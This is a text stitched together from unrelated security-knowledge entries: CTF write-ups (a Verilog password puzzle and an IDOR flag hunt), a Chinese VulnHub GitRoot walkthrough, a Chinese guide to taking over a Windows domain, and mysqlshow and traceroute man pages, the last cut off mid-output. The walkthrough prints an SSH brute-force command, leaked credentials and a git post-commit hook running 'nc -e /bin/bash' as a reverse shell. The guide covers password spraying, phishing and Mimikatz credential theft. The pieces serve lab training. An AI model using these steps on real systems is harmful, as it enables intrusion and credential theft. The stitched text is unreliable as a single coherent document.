reg [2:0] idx = 0; wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; always_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; end endmodule ``` ## Solution So this is basically a HW module representation in Verilog. The C++ part reads a password and feeds it to the HW module. The HW module reads one character at time into the `data` input, then stores it in a `memory` register, which is an array of 8 element, where each element is 7 bits wide (just enough for an ASCII character). This causes the `magic` and `kittens` wires to get a value based on the memory, and if the value is right - the `open_safe` wire is set, allowing us to read the flag. We can use a [Verilog simulator](https://www.tutorialspoint.com/compile_verilog_online.php) to simulate the flow. We'll add a print for the expected value of `kittens` based on the constant in the code, and we'll use trial and error to populate the different memory registers until the end result matches the expected result. We start with the following template, where all eight `memory` elements are zero: ```verilog module main; integer i; reg [6:0] memory [7:0]; // 8-element memory 7 bits wide reg [2:0] idx = 0; // 3 bit register wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; initial begin // We change these values via trial and error until "current" matches "expected" memory[0] = 7'b0; memory[1] = 7'b0; memory[2] = 7'b0; memory[3] = 7'b0; memory[4] = 7'b0; memory[5] = 7'b0; memory[6] = 7'b0; memory[7] = 7'b0; #1 $display("current = %056b", kittens); #1 $display("expected = %056b", 3008192072309708); #1 $display("open_safe = %0b", open_safe); $finish ; end endmodule ``` Output: ``` current = 00000000000000000000000000000000000000000000000000000000 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 0 ``` So now, let's change the first memory element to `0b1111111` and see what happens: ```verilog memory[0] = 7'b0; ``` Output: ``` current = 00000000000000000000000000000000000000000011111110000000 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 0 ``` We can where the input ended up in `kittens`, compare it to the expected value of `kittens` and deduce that the value that the first element should contain is `0b0110111`. Let's see what happens when we set the correct value: ```verilog memory[0] = 7'b0110111; ``` Output: ``` current = 00000000000000000000000000000000000000000001101110000000 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 0 ``` Looks good. We matched a segment. Let's continue to the next element: ``` memory[1] = 7'b1111111; ``` Output: ``` current = 00011111110000000000000000000000000000000001101110000000 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 0 ``` So we know that the second element should have the value of `0b0101010`. We continue until we get all the elements right: ```verilog memory[0] = 7'b0110111; memory[1] = 7'b0101010; memory[2] = 7'b1101111; memory[3] = 7'b1111000; memory[4] = 7'b0100101; memory[5] = 7'b1001100; memory[6] = 7'b1011111; memory[7] = 7'b1011000; ``` And the output: ``` current = 00001010101011111110111101001011111000101101101111001100 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 1 ``` As we said earlier, each memory element is a character. We can print them as ASCII using the following code: ```verilog for (i = 0; i < 8; i = i + 1) begin #1 $display("%d: %c", i, memory[i]); end ``` Output: ``` 0: 7 1: * 2: o 3: x 4: % 5: L 6: _ 7: X ``` However, this isn't the password, these are just the characters *used in the* password. To get the correct password we must reorder them. To understand why, let's take a closer look at how the original Verilog program populates the `memory` array: ```verilog reg [2:0] idx = 0; //... always_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; end ``` We have a 3-bit register holding the destination index, and it is incremented by 5 after each iteration. This means that it will overflow a few times during the process of reading the password. First, it will populate `memory[0]`, then `memory[5]`, then `memory[2]` (since `5 + 5 % 8 = 2`) and so on. So, to get the right order, we have to follow the same logic: ```verilog #1 $write("Password = "); for (i = 0; i < 8; i = i + 1) begin #1 $write("%c", memory[idx]); idx <= idx + 5; end ``` This will print the password in the correct order according to what we saw earlier (0, 5, 2, ...), using the same overflow behavior of `idx`. To sum things up, here's our final Verilog program: ```verilog module main; integer i; reg [6:0] memory [7:0]; // 8-element memory 7 bits wide reg [2:0] idx = 0; // 3 bit register wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; initial begin // We change these values via trial and error until "current" matches "expected" memory[0] = 7'b0110111; memory[1] = 7'b0101010; memory[2] = 7'b1101111; memory[3] = 7'b1111000; memory[4] = 7'b0100101; memory[5] = 7'b1001100; memory[6] = 7'b1011111; memory[7] = 7'b1011000; #1 $display("current = %056b", kittens); #1 $display("expected = %056b", 3008192072309708); #1 $display("open_safe = %0b", open_safe); #1 $write("Password = "); for (i = 0; i < 8; i = i + 1) begin #1 $write("%c", memory[idx]); idx <= idx + 5; end $finish ; end endmodule ``` Output: ``` $iverilog -o main *.v $vvp main current = 00001010101011111110111101001011111000101101101111001100 expected = 00001010101011111110111101001011111000101101101111001100 open_safe = 1 Password = 7LoX%*_x ``` We enter this to the attached server and get the flag: ```console root@kali:/media/sf_CTFs/google/basics# nc basics.2020.ctfcompetition.com 1337 Enter password: 7LoX%*_x CTF{W4sTh4tASan1tyCh3ck?} ```
sec-knowleage
# Super Secret Hidden Service Web, 100 points ## Description: > TODO: Remember where I put that flag... ## Solution: A link to a website was attached. the site was called "Dead simple Todolists" and allowed creating a simple TODO list. The list created by using the interface had the following link: ``` http://138.247.13.110/todolist/1000/ ``` Accessing different IDs allowed viewing other users' TODOs. Therefore, the following bash command could be used to search for the flag: ```console # for i in `seq 1 1000`; do curl -s http://138.247.13.110/todolist/$i/ | gre p MCA; done <li><input type="checkbox" id="checkbox" data-todo-id="678"> MCA{al3x4_5et_a_r3minder}</li> ```
sec-knowleage
# Gitroot > https://download.vulnhub.com/gitroot/GitRoot.ova 靶场IP:`192.168.2.20` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~/Desktop] └─# nmap -p1-65535 -sV 192.168.2.20 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 08:43 EDT Nmap scan report for 192.168.2.20 Host is up (0.00024s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 11211/tcp open memcache? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port11211-TCP:V=7.92%I=7%D=9/13%Time=63207B0C%P=x86_64-pc-linux-gnu%r(R SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk SF:nown\x20command"); MAC Address: 08:00:27:DF:CD:B2 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 86.36 seconds ``` 访问80端口 ![image-20220913204538917](../../.gitbook/assets/image-20220913204538917.png) 配置本地hosts ``` 192.168.2.20 wp.gitroot.vuln 192.168.2.20 gitroot.vuln ``` 访问:`http://wp.gitroot.vuln` ![image-20220913204642561](../../.gitbook/assets/image-20220913204642561.png) 爆破子域名 ``` ┌──(root㉿kali)-[/tmp] └─# gobuster vhost -u gitroot.vuln -w /usr/share/wordlists/dirb/common.txt | grep 200 Found: repo.gitroot.vuln (Status: 200) [Size: 438] Found: wp.gitroot.vuln (Status: 200) [Size: 10697] ``` 配置本地hosts ``` 192.168.2.20 repo.gitroot.vuln ``` 访问:`http://repo.gitroot.vuln` ![image-20220913214559249](../../.gitbook/assets/image-20220913214559249.png) 爆破目录 ``` ┌──(root㉿kali)-[/tmp] └─# gobuster dir -u http://repo.gitroot.vuln/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://repo.gitroot.vuln/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/13 09:46:28 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 282] /.htpasswd (Status: 403) [Size: 282] /.git/HEAD (Status: 200) [Size: 23] /.hta (Status: 403) [Size: 282] /index.php (Status: 200) [Size: 438] /javascript (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/] /manual (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/] /server-status (Status: 403) [Size: 282] =============================================================== 2022/09/13 09:46:29 Finished =============================================================== ``` 使用GitDumper 下载git源码 ``` ┌──(root㉿kali)-[/tmp] └─# git-dumper http://repo.gitroot.vuln/ source ``` ![image-20220913214858736](../../.gitbook/assets/image-20220913214858736.png) 他会列出各种各样的文件,但我们会保留这个: ![image-20220913215023006](../../.gitbook/assets/image-20220913215023006.png) 我们有两个有趣的文件,好吧,实际上我们只有一个," **pablo_HELP.txt** "文件已被删除,但我们会拯救它! 新文件的内容: ``` ┌──(root㉿kali)-[/tmp] └─# curl http://repo.gitroot.vuln/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt pablo_S3cret_P@ss beth_S3cret_P@ss jen_S3cret_P@ss ``` 现在,我们将使用**[GitTools](https://github.com/internetwache/GitTools)** Kit **Extractor**工具(包括" **pablo_HELP** ")恢复所有文件 ``` ┌──(root㉿kali)-[/opt/GitTools/Extractor] └─# ./extractor.sh /tmp/source /tmp/dest ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [*] Creating... [+] Found commit: b35845fa33144640c092aa3776ab3d59951688c9 [+] Found file: /tmp/dest/0-b35845fa33144640c092aa3776ab3d59951688c9/get.php [+] Found file: /tmp/dest/0-b35845fa33144640c092aa3776ab3d59951688c9/index.php [+] Found commit: ce3843e497dd28f992250d36ee1b4e8c9e0f18e9 [+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/get.php [+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/index.php [+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/set.php [+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/stats.php [+] Found commit: b069fdde4cf12980175c3fbd79316fe42b57e19a [+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/get.php [+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/index.php [+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.php [+] Found commit: a4e7f0852ebe819f3aba9419198a74990b6992c0 [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/get.php [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/index.php [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/set.php [+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/stats.php [+] Found commit: e4e93b41309b7f2d7adab20bcff048a93f7444c0 [+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/get.php [+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/index.php [+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/pablo_HELP.txt [+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/set.php [+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/stats.php [+] Found commit: 9ca43fb2bc47e82b4addbba42f38eacbd6fcb588 [+] Found file: /tmp/dest/5-9ca43fb2bc47e82b4addbba42f38eacbd6fcb588/index.php ``` `pablo_HELP` 文件 ``` ┌──(root㉿kali)-[/opt/GitTools/Extractor] └─# cat /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt I need help, something is wrong with this git repo ``` 没什么用,我们继续检查 .php 文件,我们在文件" `set.php` "中发现了一些凭据。 ``` ┌──(root㉿kali)-[/tmp] └─# cat /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.php <!doctype html> <html> <head> <title>Code storage</title> </head> <body> <h1>Welcome to our code storage area</h1> <?php if (isset($_GET["key"]) && isset($_GET["value"]) ){ $key = $_GET["key"]; $value = $_GET["value"]; $gitmem = new Memcached(); $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true); $gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe"); $gitmem->addServer("127.0.0.1", 11211); $response = $gitmem->set($key, $value); if ($response) { echo "Success!"; } else{ echo "Failed"; } } else { echo '<p>key or value not set</p>'; } ?> ``` 我们在 WordPress 和 SSH 中都使用了凭据,但没有成功。虽然我们已经知道用户的名字,但我们还是使用" **rockyou** "字典**对 SSH 服务**进行了暴力攻击。 ``` ┌──(root㉿kali)-[/tmp] └─# hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://gitroot.vuln ``` 发现密码:`pablo/mastergitar` ssh登录 ``` ┌──(root㉿kali)-[~] └─# ssh [email protected] The authenticity of host 'gitroot.vuln (192.168.2.20)' can't be established. ED25519 key fingerprint is SHA256:60rNw8fczihsSqs64B1Lf2E1VkCGOsuq8BTev2ELwLw. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'gitroot.vuln' (ED25519) to the list of known hosts. [email protected]'s password: Linux GitRoot 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue May 26 01:30:55 2020 from 192.168.56.1 pablo@GitRoot:~$ pablo@GitRoot:~$ id uid=1000(pablo) gid=1000(pablo) groups=1000(pablo) pablo@GitRoot:~$ cat user.txt _______ _ _ _____ _ _ |__ __| | | | | __ \ | | | | | | | |__ __ _ _ __ | | __ _ _ ___ _ _ | |__) |_ _| |__ | | ___ | | | '_ \ / _` | '_ \| |/ / | | | |/ _ \| | | | | ___/ _` | '_ \| |/ _ \ | | | | | | (_| | | | | < | |_| | (_) | |_| | | | | (_| | |_) | | (_) |_| |_| |_|\__,_|_| |_|_|\_\ \__, |\___/ \__,_| |_| \__,_|_.__/|_|\___/ __/ | |___/ Great job! Do not falter, there is more to do. You made it this far, finish the race! "It's not that I'm so smart. Its just that I stay with problems longer." - Albert Einstein 8a81007ea736a2b8a72a624672c375f9ac707b5e ``` 我们不断列出" **Pablo** "文件夹的内容,我们找到一个名为" **public** "的文件夹,在其中,我们有一条消息邀请我们检查一个新的 git 存储库。 ``` pablo@GitRoot:~$ cd public/ pablo@GitRoot:~/public$ ls message.txt pablo@GitRoot:~/public$ cat message.txt Hey pablo Make sure to check-out our brand new git repo! ``` 我们发现一条消息告诉我们检查 git repo。因此,让我们使用 find 检查 `.git` 目录。 ``` pablo@GitRoot:~/public$ find / -name .git 2>/dev/null /opt/auth/.git /var/www/repo/.git ``` 我们将看看 `/opt/auth/.git`。在那个目录里面,我们发现有很多使用 git branch 的分支。所以我们可以查看日志,看看是否有对我们很重要的东西。由于有很多重复的单词,我在日志目录中使用了这个命令。 ``` pablo@GitRoot:/opt/auth/.git/logs$ strings HEAD | grep -v 'init repo' | grep -v 'moving from' b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <[email protected]> 1590500148 -0400 commit: added some stuff ``` 查看commit内容 ``` pablo@GitRoot:/opt/auth/.git/logs$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93 commit 06fbefc1da56b8d552cfa299924097ba1213dd93 Author: Your Name <[email protected]> Date: Tue May 26 09:35:48 2020 -0400 added some stuff diff --git a/main.c b/main.c index 70e6397..8af9b9c 100644 --- a/main.c +++ b/main.c @@ -4,6 +4,15 @@ int main(){ char pass[20]; - return 0; + scanf("%20s", pass); + printf("You put %s\n", pass); + if (strcmp(pass, "r3vpdmspqdb") == 0 ){ + char *cmd[] = { "bash", (char *)0 }; + execve("/bin/bash", cmd, (char *) 0); + } + else{ + puts("BAD PASSWORD"); + } + return 0; } -//43 + ``` 切换到`beth`用户 ``` pablo@GitRoot:/tmp$ su beth Password: beth@GitRoot:/tmp$ id uid=1001(beth) gid=1001(beth) groups=1001(beth) beth@GitRoot:/tmp$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for beth: Sorry, user beth may not run sudo on GitRoot. ``` 查看`addToMyRepo.txt`文件 ``` beth@GitRoot:/tmp$ cd ~ beth@GitRoot:~$ ls public beth@GitRoot:~$ cd public/ beth@GitRoot:~/public$ ls addToMyRepo.txt beth@GitRoot:~/public$ cat addToMyRepo.txt Hello Beth If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository Thanks! ``` > 如果您想提交到我的存储库,您可以将 zip 文件添加到 ~jen/public/repos/ 并解压缩并将其添加到我的存储库 > > 谢谢! 在tmp目录下创建 ``` git init ``` 创建提交后 (chmod 777 incase) ``` echo 'nc -e /bin/bash <ip> <port>' > '/tmp/.git/hooks/post-commit' ``` 压缩我们的 .git 目录 ``` 7z a shell.zip .git ``` 将我们的zip文件复制到Jen Repos,在那里它将解压缩并放入公共文件夹 ``` cp shell.zip /home/jen/public/repos/shell.zip ``` ![image-20230208145700851](../../.gitbook/assets/image-20230208145700851.png)
sec-knowleage
mysqlshow === 显示MySQL中数据库相关信息 ## 补充说明 **mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。 ### 语法 ```shell mysqlshow(选项)(参数) ``` ### 选项 ```shell -h:MySQL服务器的ip地址或主机名; -u:连接MySQL服务器的用户名; -p:连接MySQL服务器的密码; --count:显示每个数据表中数据的行数; -k:显示数据表的索引; -t:显示数据表的类型; -i:显示数据表的额外信息。 ``` ### 参数 数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。
sec-knowleage
# 从外部网络获取域管理员权限 #### 简介 本文讲解一种域渗透测试方案。该方案的背景是你已经拥有了对具有一个或多个域网络的内部访问权限,但我们的目标是获取域管理员权限。 在某些测试活动中,我们通常拥有某种级别的内部网络访问权限。但这并不意味着你可以跳过之前的这些部分。虽然互联网上有一些工具可能会帮助你进行域名管理,但在此我将介绍一种手动方式查找获取DA权限所需信息的方法。 ### 操作步骤 一般而言从外部网络取得域管理权限包括许多步骤。 在真实的域渗透中情况通常比较复杂,需要你采用多种方式进行测试,不会都像本文概述的线性方式去实现。但是,本文阐述的这些步骤应该可以帮助你构建其域渗透测试的方案。 ## 枚举外部网络 **目标:发现目标机器或者服务** 你一般处在外部网络上,也就是通常意义上的Internet。并且选定了一个目标,如果目标是实验室环境,则已有一组IP地址可用。我们的第一步是要枚举一组IP或子网。一旦发现一个或多个目标机器和服务,就应该彻底地调查它们。 **技术** * 端口扫描 * 调查暴露的服务 **值得关注的事情** * IIS \(80, 443\) * RDP \(3389\) * MSSQL \(1433\) * RDS \(3389\) * RDWEB \(3389, navigate to [http://ip/rdweb](http://ip/rdweb)\) * OWA \(80, navigate to subdomain email.domain.com or http://ip/owa\) **工具** * Nmap * Firefox ## 获取域用户凭据 **目标: 获取域用户凭据** 这里的域用户可以是域中的任何用户。我们首先要做的是找出域名。获得域名后,我们就可以尝试一种称为密码喷洒(Password Spraying)的攻击技术。大多数企业都会提供多种身份验证方式,常见的比如Outlook的Web控制SMB等。这就意味着如果我们能够找出域账户名称的构成语法,我们就可以尝试使用通用密码进行身份验证。但是,在进行密码喷洒攻击时要注意锁定阈值,因为许多企业的安全策略都会设定五次尝试后锁定账户。 **方法** * 找出域名 * 弄清楚域账户名的构成语法规则 * 获取一个域用户的账户名 * 获取一个域用户的密码 * **技术** * 公开资源情报计划(OSINT) * 调查公开服务的内容 * 对OWA(Outlook Web Access)进行密码喷洒攻击 * 验证凭证的其他方法 \(RDP\) **Tools** * OSINT * Burp Intruder * Mailsniper ### 获取一个内部网络中的shell **目标: 获取内部网络一台机器的shell** 此处的目标是在内网的某台主机或者服务上执行你的攻击载荷,使得目标可以主动回连到你的主机,也即在内网中获取一台机器的shell。 就像在2003年是黑客攻击使用的方法一样,最有效的就是你针对外部开放服务的某个漏洞进行攻击。比如wordpress,Sharepoint中的RCE或某处的SQL注入都是可以的。当然如果你没有发现某个漏洞的存在或者感觉无从下手的时候,一些工具可以帮助你进行攻击现有服务,比如:Ruler。如果以上方式都行不通,那么可以使用最后一种方式--钓鱼攻击,这种方式可能会帮助你获取某个系统的命令执行权限。但是,这种也是一种比较容易被发现的攻击方式。 **技术** * Abusing外部开放服务 * 漏洞利用 * 钓鱼攻击 **Tools** * Ruler * Phishing with HTA payload * Metasploit ### 命令行与控制器 \(C2\) **目标: 建立一个到内部网络的通信系统** 通过SQL注入获得的shell通道可能并不稳定,不适合进一步工作。所以我们需要建立一个更好的通道来与系统进行交互。此处就是C2的用武之地。它的环境配置十分简单,无论你在家里的计算机还是使用AWS box都可以迅速配置。 **技术** * 搭建一台C2服务器 * 打开服务器上的一个端口并设置为监听模式 * 从domain进行回连 * 建立持久性连接 **工具** * Empire * dnscat2 * Empire persistence modules ## 枚举内部网络 **目标: 查找内部网络中计算机上的漏洞** **方法** 枚举域之前,我们要先获取一名域用户的shell并且建立一个和内部网络的稳定交互通信方式。 在此处使用商业化的漏洞扫描程序可以帮助我们尽可能多地发现切入点。 如果没有商业化的漏洞扫描工具,那么免费的nmap也是一个不错选择。但是在大型网络中扫描记得保持条理,因为扫描的输出信息还是很多的。 在域中最值得我们去发现的就是域控制器了,一般的大型域中会有好几个域控制器的存在。 此外我们还应当关注443端口的开放情况,因为SSL证书中往往包含着域名。于此类似的还有Outlook Web Access门户。 其实扫描与否完全取决于你目前的情况,如果你发现你的目标也就是域管理员非常接近,那么就没有必要花费大量时间扫描漏洞。如果你域中的计算机存在MS17-010漏洞,并且可以进一步利用的话,那么你就可以轻松的拿到一个system权限的shell了。但是有一点需要注意,受控网络内的端口和漏洞扫描通常会非常快速地被蓝队捕获。 所以如果你想要隐身的话,这不是一个好的选择。 **技术** * 漏洞扫描 * 审查扫描结果 * 选择一个目标 **工具** * Nessus * Nmap * Metasploit ## 自动枚举域 **目标: 计算机,用户,组和组策略对象(GPOs)的发现** 我倾向于尽可能多搜集有关域的信息。因此我们要查明域中都有哪些计算机,域中的用户有哪些,这些用户有什么样的隶属关系。此外,也可以枚举一些组策略对象。当然域中肯定会存在很多信任凭证。Bloodhound是我们在这步中使用的关键工具,它会帮助你找出一条攻击通路。Bloodhound会默认查询出到DA的最短路径,并且会给与你一些选项,比如:域的配置等。但是虽然BH会做一些自动化的工作,但人工进行枚举也是必须的。 **技术** * 运行Bloodhound采集信息 * 寻找DA sessions * 查找当前用户的本地管理员权限 * 探明到Domain Admin的路径 **工具** * Bloodhound * PowerView * Empire ## 手动枚举域 **目标: 域权限提升** 通常你在域中只是一个常规用户并没有多少权限,也就是说你在域中任何的一台计算机上都是没有本地管理员权限的。在这个关键步骤中,你可以使用像Mimikatz这种工具。一种典型的操作过程是从工作站用户->工作站管理员->服务器管理员->域管理员。 值得注意的是你在一个已经打了各种最新补丁的AD环境中,进行本地权限提升攻击是十分困难的。 **技术** * 验证你拥有的用户是否是任何计算机上的本地管理员 * 确定组成员身份 * 确定用户,组成员以及当前计算机的组策略对象 * 肯能的话可以在本地进行特权提升 **工具** * Empire * PowerView ## 靠近Domain Admin **目标: 在有Domain Admin session的机器上执行命令** 一旦路径被部署好,你就可以在域中开始横向移动了。你如果知道AD是怎样构成的,你就明白不用在每一处都弹一个shell回来。而且如果你在一个不能直接连接外网的机器到处尝试弹shell,那么就有可能被检测到。但是如果环境某处可以联网,那么弹个shell也是一个不错的选择。正是因为我们不了解环境是否可以直接连接外网,所以我在此处直说命令执行而不说弹shell。虽然这两者差异不大,但是命令执行可能对你完成任务更有效。此外,你还要考虑到你在隧道上完成的这些操作,会随着深入网络内部,而增大网络延迟。所以越深入就越困难。 其实这个步骤很大程度上取决于域大小,安全程度和配置。 但是如果每个用户在其工作站上具有本地管理员访问权限,或者域中有数百个DA,那么这个步骤通常作用就很小了。 **技术** * 选择一台有DA登录的目标机器 * 枚举这台机器的权限 * 查看是否可以远程执行命令 **工具** * WinRM * WMI * PsExec * Empire lateral movement modules ## 使用Hijack攻击来获取Domain Admin 权限 **目标: 用DA或者DA凭证来执行命令** 到目前为止,我们就可以在一个DA登录的机器上执行命令了。在这不我们的目标是获得DA权限。如果你是本地管理员账户的话,这就很容易了。你只要用mimikatz去获取用户的凭证就好了\(密码或者hashes\)。如果你不是这种情况,那么你就只能去使用令牌模拟来窃取DA的令牌。但是,如果根本无法获得管理员权限,你就应该开始枚举此机器中的本地管理员,并查看您是否可以获得相应的权限。 **技术** * 是否是本地admin -> Mimikatz * 否则 -> 枚举一下看谁是本地admin * 从普通用户到本地admin **Tools** * Powershell * PowerView * Invoke-TokenImpersonation * Invoke-InternalMonologue
sec-knowleage
traceroute === 显示数据包到主机间的路径 ## 补充说明 **traceroute命令** 用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。 通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。 traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。 ### 语法 ```shell traceroute(选项)(参数) ``` ### 选项 ```shell -d:使用Socket层级的排错功能; -f<存活数值>:设置第一个检测数据包的存活数值TTL的大小; -F:设置勿离断位; -g<网关>:设置来源路由网关,最多可设置8个; -i<网络界面>:使用指定的网络界面送出数据包; -I:使用ICMP回应取代UDP资料信息; -m<存活数值>:设置检测数据包的最大存活数值TTL的大小; -n:直接使用IP地址而非主机名称; -p<通信端口>:设置UDP传输协议的通信端口; -r:忽略普通的Routing Table,直接将数据包送到远端主机上。 -s<来源地址>:设置本地主机送出数据包的IP地址; -t<服务类型>:设置检测数据包的TOS数值; -v:详细显示指令的执行过程; -w<超时秒数>:设置等待远端主机回报的时间; -x:开启或关闭数据包的正确性检验。 ``` ### 参数 主机:指定目的主机IP地址或主机名。 ### 实例 ```shell traceroute www.58.com traceroute to www.58.com (211.151.111.30), 30 hops max, 40 byte packets 1 unknown (192.168.2.1) 3.453 ms 3.801 ms 3.937 ms 2 221.6.45.33 (221.6.45.33) 7.768 ms 7.816 ms 7.840 ms 3 221.6.0.233 (221.6.0.233) 13.784 ms 13.827 ms 221.6.9.81 (221.6.9.81) 9.758 ms 4 221.6.2.169 (221.6.2.169) 11.777 ms 122.96.66.13 (122.96.66.13) 34.952 ms 221.6.2.53 (221.6.2.53) 41.372 ms 5 219.158.96.149 (219.158.96.149) 39.167 ms 39.210 ms 39.238 ms 6 123.126.0.194 (123.126.0.194) 37.270 ms 123.126.0.66 (123.126.0.66) 37.163 ms 37.441 ms 7 124.65.57.26 (124.65.57.26) 42.787 ms 42.799 ms 42.809 ms 8 61.148.146.210 (61.148.146.210) 30.176 ms 61.148.154.98 (61.148.154.98) 32.613 ms 32.675 ms 9 202.106.42.102 (202.106.42.102) 44.563 ms 44.600 ms 44.627 ms 10 210.77.139.150 (210.77.139.150) 53.302 ms 53.233 ms 53.032 ms 11 211.151.104.6 (211.151.104.6) 39.585 ms 39.502 ms 39.598 ms 12 211.151.111.30 (211.151.111.30) 35.161 ms 35.938 ms 36.005 ms ``` 记录按序列号从1开始,每个纪录就是一跳 ,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是`-q`的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用`traceroute -q 4 www.58.com`,表示向每个网关发送4个数据包。 有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据。 有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会 有延时长的现象;您可以加`-n`参数来避免DNS解析,以IP格式输出数据。 如果在局域网中的不同网段之间,我们可以通过traceroute 来排查问题所在,是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决。 **跳数设置** ```shell [root@localhost ~]# traceroute -m 10 www.baidu.com traceroute to www.baidu.com (61.135.169.105), 10 hops max, 40 byte packets 1 192.168.74.2 (192.168.74.2) 1.534 ms 1.775 ms 1.961 ms 2 211.151.56.1 (211.151.56.1) 0.508 ms 